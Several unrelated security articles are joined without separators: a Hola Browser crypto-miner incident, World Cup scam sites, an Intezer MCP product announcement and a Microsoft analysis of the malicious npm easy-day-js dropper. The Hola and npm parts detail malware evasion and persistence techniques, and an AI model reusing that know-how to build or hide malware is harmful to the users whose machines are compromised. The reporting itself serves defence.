In early June, cybersecurity researchers discovered that a compromised version of the Israel-based Hola Browser for Windows (version 1.251.91.0) was secretly downloading a Monero crypto miner to users’ devices. Shortly after the discovery, Hola confirmed that it had fallen victim to a supply chain attack. In this article, we break down how the attack went down, how the crypto miner works, and what it means for affected users.
What is Hola Browser, and how was the malware discovered?
The Israeli company Hola is best known for its VPN service, which users primarily rely on to bypass geo-restrictions and access region-locked content. In addition to the VPN, the company develops Hola Browser — a Chromium-based browser that comes with built-in VPN and proxy features.
Researchers first spotted signs of trouble during a standard compliance check for the AppEsteem Windows Certified Application program. As part of this certification process, independent cybersecurity firms audit software to ensure it only contains the components it claims to have and is free of unwanted or malicious features. Even after a certificate is granted, apps are regularly re-evaluated to ensure they continue to meet AppEsteem’s strict guidelines.
It was during one of these routine follow-up checks that experts noticed an unauthorized file bundling itself with version 1.251.91.0 of Hola Browser for Windows. Once installed, the file saved itself to the hard drive at C:\Program Files\Hola\me{.}exe. The file immediately raised red flags for researchers due to a laundry list of suspicious characteristics: it wasn’t on the list of approved application files, lacked a timestamp, and had no digital signature. On top of that, its code was heavily obfuscated, and it possessed the ability to inject itself directly into system memory.
Interestingly, researchers noted that the file didn’t show up in every single installation. Because the infection wasn’t widespread across all users, experts suspected early on that a specific stage in the Hola Browser distribution pipeline had been compromised. Hola later confirmed this theory, admitting it had fallen victim to a supply chain attack.
As for the suspicious me{.}exe file itself, closer analysis revealed that it was a stealthy crypto miner configured to mine Monero. We’ll now dive into the technical details of how it works.
How did attackers use Hola Browser to mine Monero?
Crypto miners are programs that harness a computer’s processing power to mine cryptocurrency. While some users install this software intentionally to generate a bit of income, miners that run on a machine without the owner’s knowledge are typically classified as unwanted.
Running a hidden miner can noticeably slow down the device, spike the user’s electricity bill, and shorten the hardware’s lifespan. That being said, it’s worth noting that a crypto miner infection will not actually steal the owner’s cryptocurrency; the damage is strictly limited to the hijackers leeching your computer’s hardware resources to line their own pockets.
As we mentioned above, the malicious download bundled with Hola Browser sneaked a Monero crypto miner onto victims’ devices. Launched in 2014 and built on the CryptoNote protocol, Monero currently trades at around US$330 per coin.
Compared to heavyweights like Bitcoin or Ethereum, Monero is a bit exotic and lesser-known to the general public. This niche status shows in its relatively modest price growth and smaller market capitalization — which is roughly 200 times lower than Bitcoin’s. However, Monero has one defining feature: privacy. While Bitcoin and Ethereum operate on fully transparent, public blockchains, where anyone can trace transactions, Monero is a “privacy coin”. It uses advanced cryptographic mechanisms to mask the sender, receiver, and transaction amounts. This extreme anonymity is exactly why hackers love hidden Monero miners — it makes it difficult for law enforcement and cybersecurity professionals to follow the money trail.
Additionally, Monero’s underlying algorithm is explicitly designed to mine efficiently using standard computer processors (CPUs). This stands in stark contrast to many other popular cryptocurrencies, which require specialized ASIC hardware or high-end graphics cards (GPUs) to be profitable.
But let’s look closer at how this played out with Hola Browser. When researchers dissected the malicious me{.}exe code, they found it was automatically adding its own files to the Microsoft Defender exclusion list. By allowlisting itself, the malware successfully blinded Windows’ built-in antivirus, allowing the crypto miner to run in the background completely unhindered.
Once inside, the program made a copy of itself under the name HolaMonitorService{.}exe, and set up a persistent Windows background service called hola_monitor_svc. This maneuver allowed the malware to entrench itself in the system, automatically launching every time the computer restarted. To avoid raising any red flags with sudden massive performance drops, the miner was programmed to stay dormant, kicking into gear only when the computer was idle.
How to protect your device from crypto miners and malware
To their credit, Hola’s development team responded swiftly to the initial reports of the suspicious file. They confirmed the supply chain breach, but stated that the incident only impacted 0.1% of their user base. The company has since tightened up security around its update distribution pipeline to guarantee that users only receive approved, certified, and digitally-signed software components moving forward.
In light of this incident, we highly recommend that all Hola Browser users update to the latest version immediately — especially those running the application on Windows.
More broadly, this situation is a textbook reminder of why it’s so critical to keep all your software up to date and run a robust cybersecurity solution on all your gadgets. For instance, Kaspersky Premium provides real-time alerts about suspicious software behavior and blocks threats instantly. As an added bonus, a Kaspersky Premium subscription includes a secure and reliable VPN.
Don’t forget that malicious crypto miners don’t just target PCs; they also go after smartphones, often disguising themselves as anything from popular mobile games to official government service apps. Check out our previous posts to learn more:
The World Cup attracts a great many fans — but also a great many scammers. While millions of fans tune in to watch the matches, cybercriminals are hard at work trying to get at their money and personal data. In fact, we’ve already flagged more than 336 fake websites designed to look exactly like the official World Cup page! As the biggest sporting event of the year heats up, here are the top red flags you need to watch out for.
Totally Legit Free Streams (No Scam)
Scoring a seat at WC26 has turned into quite the mission. Soccer fans are furious over ticket prices, which have officially been dubbed the highest in World Cup history. On top of lodging and travel costs, the situation is made even worse by America’s stringent immigration policies — where referees, team staff, and even players have faced major visa and entry headaches. But fans still want to watch the games, and that’s exactly where fake streaming platforms step in to “help”.
Here’s how the scam plays out: cybercriminals set up fake websites promising free access to World Cup match streams. But the moment you click Watch Now, you’re prompted to sign up and then pay for “lifetime access” to the entire tournament. In the example below, they’re asking for cryptocurrency — which is still a bit unusual, since scammers typically prefer good old-fashioned bank cards.
An example of a fake video streaming website requiring users to register and pay with cryptocurrency to watch all World Cup 2026 matches
Fans who are desperate to catch their favorite teams live risk losing not just their money, but also their personal data, which hackers can later weaponize in targeted phishing attacks.
A losing bet
Match result predictions and sports betting always skyrocket in popularity during the World Cup, and scammers waste no time cashing in on the trend. And behind the flashy slogans lie classic scam tactics.
Take this beautifully designed Spanish-language website. To sign up, it demands a massive amount of personal information, including your full name, national ID number, email address, and phone number — and, of course, it asks you to create a password. If a victim uses the exact same password for multiple accounts, they’re essentially handing the keys to their digital life over to cybercriminals.
To guess match outcomes on this site, you have to hand over way too much personal info — everything short of biometrics
Another site, specifically targeting users in Colombia, turned the sign-up process into a paid ordeal — and it features every trick in the book.
To “verify” your profile, you’re forced to use WhatsApp under the guise of avoiding legal complications.
Before your account is activated, you must make a deposit. This means sending 100 000 Colombian pesos (about $29) to a specified account and texting the receipt to an “administrator” on WhatsApp.
Next, you’re told to wait 12 hours for the “administrator” to manually activate your profile.
Only after all of this do the scammers tell you can place unlimited bets (of course not true).
These scammers built a whole website, but they do all their business over WhatsApp. That’s a red flag!
In many countries — including Colombia — sports betting is strictly regulated. Only a handful of licensed operators are legally allowed to run these sites, and users are required by law to verify their identity. Because of this, these shady workarounds can look tempting to people who love to gamble but don’t want to — or can’t — go through the official verification process.
Unfortunately, the scammers always win in this scenario. They walk away with your initial deposit and every single bet you place on their site. At the end of the day, their only real goal is to drain their victims’ wallets for as much as they possibly can.
Discounts for collectors!
The World Cup isn’t just about the matches; it also drives record-breaking sales of collectible merchandise — stickers, scarves, team jerseys, official match balls, and more. Naturally, plenty of scammers are eager to get a piece of that action.
Take a look at this website offering “exclusive, limited-edition” stickers and albums. Notice anything suspicious?
Talk about a steal! Too bad the whole website is a scam
Check out those prices: everything is heavily discounted, even though the tournament is in full swing. All it takes is a quick price check against the real deal to spot the trap. In the screenshot above, the scammers are charging 67 euros for a sticker collection. On actual online marketplaces, that exact same set goes for at least twice as much, and on the official Panini website, it’s three times the price.
Fake websites mimicking popular sporting goods stores also offer to sell you shin guards, socks, jerseys, and any other gear. Of course, you’ll never see the merchandise, and you’ll lose both your money and your bank card details.
When they’ve absolutely no intention of delivering any products, they can easily offer massive discounts and free shipping
Deals that seem too good to be true are one of the biggest red flags. To make matters worse, with the help of AI, fake websites now look just as professional as the real ones, making them harder than ever to spot. That’s why we recommend installing our security suite before you start shopping online. It blocks phishing sites in real time and uses the Safe Money feature to keep your financial data secure.
Soccer by mail
Another attack strategy involves spam campaigns centered around the World Cup. In one email, our experts uncovered an ad for a soccer analytics and betting-tips service. It uses the classic high-pressure playbook: “ONLY 10 SPOTS AVAILABLE” — so hurry up before they run out! Naturally, access comes with a price tag: AU$200.
Spammers hurrying the victim to make a decision as quickly as possible
This scheme targets fans who are into sports betting, and paying for these types of services usually ends one of two ways for them: they either lose their money with zero guarantee of getting actual predictions, or get sucked into an even deeper, multi-step financial trap.
How to avoid falling for the scams
Across all these scenarios, the World Cup is just another convenient pretext for cybercriminals. Once the tournament wraps up, they’ll most certainly pivot back to their usual tricks — like fake job offers or Telegram phishing scams — until the next Olympics or soccer tournament rolls around and they switch right back to sport.
Our research consistently shows that online fraud has evolved into a massive illegal enterprise. You aren’t just up against lone scammers anymore; you’re dealing with large criminal networks. When it comes to defense, the best approach is a proactive one. By installing Kaspersky Premium, you can safeguard all your devices from malware, phishing, spam, and malicious or lookalike websites. Plus, the included Kaspersky Password Manager will generate unique complex passwords, securely store your sensitive data — like documents and bank cards — and stop you from auto-filling your credentials on fake sites.
Watch the games only on legitimate streaming platforms. Don’t trust fake reviews and never enter your bank card information on unverified sites. Keep an eye out not just for sketchy streaming websites, but also for fake IPTV apps. As we’ve covered in detail before, scammers frequently use these to infect your devices with Trojans.
Shop smart. The best way to avoid getting ripped off is to buy merchandise exclusively through official channels (where you won’t see suspiciously deep discounts), or simply buy your gear in person at official retail locations.
Don’t click suspicious links. If a deal that’s too good to be true lands in your inbox — whether it’s exclusive betting tips or anything else — just ignore it and hit delete.
Avoid logging in through Telegram bots. At the very least, this saves you from future headaches and annoying spam. At best, it keeps your account from being hijacked and your crypto from being stolen.
Switch to passkeys wherever possible. Unlike traditional passwords, which are easily stolen and can be typed into any fake login page, a passkey is cryptographically tied to a specific website and won’t work on a phishing page. Kaspersky Password Manager can easily store and sync your passkeys across all your devices.
What other ruses do scammers use to make a quick buck? Check out our other posts:
Work you want off your plate. Alert triage is the obvious example: every alert deserves a real investigation, most of them turn out to be noise, and they arrive at 3am as happily as at noon. Nobody wants help with this work. They want it gone. That’s the half Intezer has spent years building. Autonomous triage that investigates every alert at forensic depth, around the clock, and only interrupts a human when something actually needs human judgment.
Work you want to keep, but accelerate. Deciding what to do with an escalation. Writing the incident report. Picking apart the weird binary someone found on a build server. Chasing a hunch across five systems. For this work you don’t want a replacement. You want to be a 10x version of yourself.
Today we’re shipping the second half.
We rebuilt the Intezer MCP server from the ground up, and it turns the AI platform your team already lives in, Claude, Codex, Cursor, or any MCP client, into a full security workspace: your cases, your alerts, file and URL verdicts, live SIEM and EDR telemetry, tuning rules, all of it. We had an MCP server before, and it was a fine way to ask Intezer questions from a chat window. This one is built around a bigger idea: your AI workspace should be able to do everything you can do in Intezer, then combine it with everything else you have access to.
If you read our piece on making sense of the 2026 SOC stack, this release is the missing connection between the top two layers. Detection tools are the hardware. The AI SOC is the operating system that turns raw signals into investigated verdicts and institutional memory. AI platforms like Claude are the applications where people actually work. This release plugs the operating system into the applications.
Watch one investigation, end to end
The video walks through one escalated case, but the pattern behind it is the real story. Intezer’s autonomous triage investigates every alert to forensic depth and resolves what it can on its own. What lands in front of a human is the residue. Cases where the technical facts are settled but the decision still needs judgment, usually because it turns on business context no security tool can see. Was this data share authorized? Is this vendor one we actually work with? Escalating those isn’t a triage failure, rather it’s the line where execution ends and judgment begins.
Putting Intezer inside your AI workspace is what makes that handoff productive. Pick up a case in Claude, Codex, or Cursor and you inherit the full investigation Intezer already ran, plus its recommendation, with a partner that can reach the context security tools never had: your email, Slack, the ticket queue. You keep the decision; it does the legwork around you at machine speed, pulling the case, cross-referencing your systems, documenting the verdict, writing a tuning rule. What used to be an afternoon of pivoting between consoles becomes a short, supervised exchange.
That’s the point of the combination: the autonomous half absorbs the scale, the assistive half carries the judgment, and every call you make feeds back as logic that makes the autonomous half smarter. You’re not handing off your work; you’re making judgment calls with the context, evidence, and follow-through already assembled around you.
The same question, with and without Intezer
Same alert, two ways to handle it. On the left, Claude on its own takes the impossible-travel sign-in and works it by hand. It reasons well and gets close — managed device, MFA passed, probably real travel — but it can’t collect evidence from the endpoint to confirm, so the last step falls back to a human checking the laptop. And that’s one alert; almost 4,000 more are still waiting behind it. One analyst, one alert at a time, with no way to run it across the whole team. On the right, the same alert inside the AI SOC: Intezer triages every alert around the clock, closes the ~98% that need no action, and escalates only the ~2% that genuinely need a person. Claude is where you pick those up so you can stop grinding the queue and start supervising the few cases that actually need you.
Most of the org knowledge an investigation needs is already centralized in Intezer. That’s the whole point of the platform. But some context only ever lives with you: a procurement thread in someone’s inbox, a Slack message from three weeks ago, a calendar invite. With Intezer connected on one side and your IT and communication stack on the other, your AI workspace can cross-reference both in a single investigation.
Why not plug Claude into all security tools directly?
You could also wire your AI client straight into each security tool yourself. Most of them ship an MCP these days. Two things make that a worse deal than it looks. First, the integration work is now yours: stitching a dozen connectors together, learning each product’s query quirks, and getting back a pile of disconnected results instead of one correlated picture. Second, raw tool access still isn’t investigation. With every EDR, SIEM, and intel feed wired in, the model can read your data, but it can’t collect evidence off an endpoint, run memory forensics, or weigh conflicting signals into a verdict it will actually stand behind, which is exactly where Claude stalls on the left in above image.
Intezer already did both jobs. One connector hands the model a SOC’s worth of normalized cases, verdicts backed by real forensic evidence, and cross-tool correlation. An AI platform does its best work standing on a real foundation of security knowledge, not on a dozen raw feeds it has to assemble itself.
Investigate and close the cases Intezer escalates to you
This is where analyst hours should go, so it’s where the MCP goes deepest. Whatever the alert type, the shape is the same: pull the case, build on everything the autonomous triage already found, cross-reference your other systems, decide interactively with you, and close with evidence.
And “pull the case” carries real weight here. A case from Intezer is not a bare ticket. It arrives with everything triage already did: the evidence it collected, the SIEM and EDR queries it ran, the forensic analysis of each artifact, the verdicts it reached. You’re not starting from a blank page; you’re picking up a deep investigation and taking it the last mile.
“Pick up the oldest escalated open case and let’s investigate it together.”
The clip above takes an impossible-travel alert. The MCP brings the full login history including every IP and geo, and who else touched the same address as well as your AI workspace cross-references calendar and Slack for travel context. When the evidence still isn’t conclusive, it can ask the user directly and close on their answer, so the one human check that actually mattered takes seconds instead of becoming a follow-up ticket.
Make tomorrow’s autonomous triage smarter
If a case should never have reached you, closing it is half the job. The other half is making sure it never reaches you again.
“We keep getting this exact false positive. Write a tuning rule so it never escalates again, then retriage the case.”
Claude inspects the alert’s triage indicators, drafts a narrowly scoped tuning rule, and tests the pattern against the real alert object before proposing anything. It checks whether an existing rule should be extended instead of creating a near-duplicate. It asks the question every detection engineer should ask: could an attacker hide inside this rule? Then it pushes the rule to Intezer for your approval and retriages the affected alerts so the fix applies immediately.
Tuning runs both directions, too. The same mechanism can tell the autonomous triage to always escalate a pattern it can’t yet call malicious with confidence, so the genuinely ambiguous cases land in front of a human by design, not by luck.
This is where the two halves of the AI SOC meet. Every rule your AI workspace writes makes the autonomous half smarter, which means fewer escalations next month, which means the time you spend supervising keeps shrinking. The system compounds.
From case to incident report in one prompt
When a case turns into a real incident, the hours after containment go to reconstruction: which alerts were related, which machines were touched, what happened first, and what to tell leadership.
“Write an incident report for the latest case we worked on — timeline, affected assets, and an exec summary I can send to the CISO.”
Your AI workspace pulls the case and its full activity trail from Intezer, expands across the users, devices, and IPs involved, and rebuilds the timeline from the forensic evidence already on file. Then it writes the report with an executive summary up top, technical detail below, in your template if you have one, and finally exports it to a clean, brand-styled PDF you can send as-is. The data was always in Intezer; the report was just assembly. Now assembly is one prompt.
Threat hunting: start from a lead, not an alert
Not every investigation starts in the queue. Sometimes it starts with your CISO forwarding an article about a campaign that’s hitting your industry.
“Here’s a writeup of a new campaign [link]. Check whether any of these IOCs appear anywhere in our environment, and analyze anything you find.”
Your AI workspace extracts the indicators and techniques from the writeup, sweeps your environment through Intezer’s SIEM and EDR query tools, and returns the matching assets, alerts, and artifacts for analysis. When you find something worth a closer look, you can fire deep forensics to go one step further with your hunt.
How it works
The Intezer MCP server is hosted by us. You authorize over OAuth from any MCP client: Claude (Desktop, Code, or claude.ai), ChatGPT, Codex, Cursor, or anything else that speaks the protocol.
Under the hood it exposes 66 tools covering the full case lifecycle: search and fetch cases and alerts, file and URL analysis, live queries against more than a dozen SIEM and EDR products in their native query languages (KQL, SPL, XQL, SDL, and the rest, with per-vendor syntax guides built in so the model gets them right), tuning rules and AI instructions, retriage, and case editing.
This architecture is what makes the two halves described above work as one system: the autonomous half clears work off your plate, while the assistive half accelerates the tasks where you still want to stay in the loop.
Getting started
If you’re already an Intezer customer, an Intezer admin creates an MCP OAuth application under Account Settings → MCP OAuth Applications.
Add Intezer as a custom connector in your AI client such as Claude, ChatGPT, or any MCP client. Point it at the hosted server, and authorize with your own Intezer login over OAuth.
Open with one prompt: ask it to pick up your oldest open escalation.
The autonomous half investigates everything, around the clock, so your team only sees what matters. The assistive half makes the time you spend on what matters dramatically shorter. One system of record and detection logic underneath both: your cases, your verdicts, your tuning rules, your institutional memory, working for you whether the investigation runs inside Intezer or inside your AI workspace.
AI executes. Humans supervise. And now the supervising got a lot faster too.
If you’re not an Intezer customer yet, book a demo and we’ll show you both halves at once: autonomous triage working every alert around the clock, and a co-pilot that helps your analysts close the escalations that do reach them 10x faster.
Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, and the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library.
Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.
Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code. This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.
Attack chain overview
Figure 1. End-to-end attack chain from npm account takeover through mass dependency injection to second-stage payload execution.
At a high level, the attack progressed through six phases:
Account compromise: The attacker gained control of the ehindero npm account , a listed maintainer with publish rights across the entire @mastra scope.
Typosquat creation: The attacker published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account ).
Mass poisoning: Using the compromised account, the attacker published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.
Discovery and initial indicators
Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.
Figure 2. Publisher comparison across mastra versions showing the anomalous manual publish on v1.13.1.
The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.
Dependency injection: the poisoned package.json
The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:
Figure 3. The compromised mastra@1.13.1 package.json with the injected easy-day-js dependency and the anomalous npm publisher.
The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.
Typosquat analysis: easy-day-js
The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:
Attribute
Legitimate dayjs
Malicious easy-day-js
Maintainer
iamkun <kunhello@outlook[.]com>
sergey2016 <sergey2016@tutamail[.]com>
Claimed author
iamkun
iamkun (impersonated)
Repository URL
github.com/iamkun/dayjs
github.com/iamkun/dayjs (copied)
Weekly downloads
57,251,792
newly created
Version count
89+ versions since 2018
2 versions (both June 16, 2026)
postinstall script
None
node setup.cjs –no-warnings (v1.11.22)
Staged delivery pattern
The typosquat used a two-phase delivery strategy:
Phase 1 (clean bait):easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
Phase 2 (weaponization):easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.
The weaponized package.json in version 1.11.22 exposes the postinstall hook:
Figure 4. The weaponized easy-day-js@1.11.22 package.json. The postinstall hook runs setup.cjs automatically on npm install.
Obfuscation and payload analysis
Stage 0: Obfuscated dropper (setup.cjs)
The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:
Figure 5. The obfuscated setup.cjs dropper with rotated string array and base64 encoded string lookups.
The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.
Stage 1: String table decryption
Decoding the rotated string array reveals the payload’s true capabilities:
Figure 6. The decoded string table revealing C2 addresses, file system operations, and process spawning functionality.
Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).
Stage 2: Deobfuscated payload logic
After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:
Figure 7. The fully deobfuscated setup.cjs payload showing the five-step attack sequence from.
TLS bypass to self-deletion
Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.
Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:
Figure 8. XOR 0x80 decoding of the .pkg_logs marker reveals the string easy-day-js.
Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.
The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.
Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.
The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:
Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.
A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:
The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:
This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.
Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:
OS
Persistence mechanism
Drop location
Artifact name
Windows
Registry Run key (HKCU\…\CurrentVersion\Run)
C:\ProgramData\NodePackages\
NvmProtocal
macOS
LaunchAgent (RunAtLoad)
~/Library/NodePackages/
com.nvm.protocal.plist
Linux
systemd user unit (WantedBy=default.target)
~/.config/systemd/nvmconf/
nvmconf.service
On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:
On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:
All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.
Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:
Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.
Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.
Step 4: Writing and executing the payload. The downloaded code is written to a file with a cryptographically random name (<12 random hex bytes>.js) in the OS temp directory, then spawned as a detached, window-hidden Node.js process using child_process.spawn with unref().
Step 5: Self-deletion. The dropper removes itself (fs.rmSync(__filename)) to eliminate forensic evidence from the installed package directory.
Timeline analysis
Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.
Attack timeline
Timestamp (UTC)
Event
June 16, 07:05
easy-day-js@1.11.21 published (clean bait, no payload)
June 17, 01:01
easy-day-js@1.11.22 published (adds postinstall with setup.cjs)
June 17, 01:20
mastra@1.13.1 and 140+ other @mastra/* packages published with easy-day-js dependency
** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026
Mitigation and protection guidance
Microsoft recommends the following mitigations to reduce the impact of this threat:
Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
Microsoft Defender XDR detections
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Tactic
Observed activity
Microsoft Defender coverage
Initial access
Suspicious script execution during npm install or package lifecycle activity
Microsoft Defender Antivirus – Trojan:JS/NpmStealz.Z!MTB – Trojan:JS/NpmStealz.ZA!MTB Microsoft Defender for Endpoint – Suspicious Node.js process behavior – Suspicious Node.js script execution
Microsoft Defender for Endpoint – Suspicious Node.js process behavior – Suspicious Node.js script execution
Execution / Defense evasion (Stage 2)
Second-stage payload: Reflective .NET assembly injection: PowerShell downloads DLL, loads via [Reflection.Assembly]::Load(), invokes Extension.SubRoutine.Run2 method to inject payload into cmd.exe process; entire chain is fileless
Microsoft Defender Antivirus Trojan:JS/NpmSteal.DB!MTB Trojan:PowerShell/PsExec.DE!MTB
Microsoft Defender for Endpoint -Process loaded suspicious .NET assembly -A process was injected with potentially malicious code -Reflective code loading (Fileless In-Memory Execution)
Microsoft Defender for Cloud -Possible AI Tools Reconnaissance Detected -Possible Secret Reconnaissance Detected -Access to cloud metadata service detected -Possible Post-Compromise Activity Detected in CICD Runner
Persistence
Registry Run key created, executing hidden PowerShell that launches protocal.cjs on every user login
Microsoft Defender for Endpoint – Anomaly detected in ASEP registry
Command and control
GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.
Microsoft Defender for Endpoint – Command-line process communicating with malicious network endpoint
Microsoft Security Copilot
Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:
Incident investigation
Microsoft User analysis
Threat actor profile
Threat Intelligence 360 report based on MDTI article
Vulnerability impact assessment
Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.
Advanced hunting
The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.
Detect postinstall execution of setup.cjs
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in ("node", "node.exe")
| where ProcessCommandLine has "setup.cjs"
or ProcessCommandLine has "easy-day-js"
| where ProcessCommandLine has “--no-warnings”
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, FolderPath, InitiatingProcessFileName
| sort by Timestamp desc
Outbound connections to C2 infrastructure
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("23.254.164.92", "23.254.164.123")
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
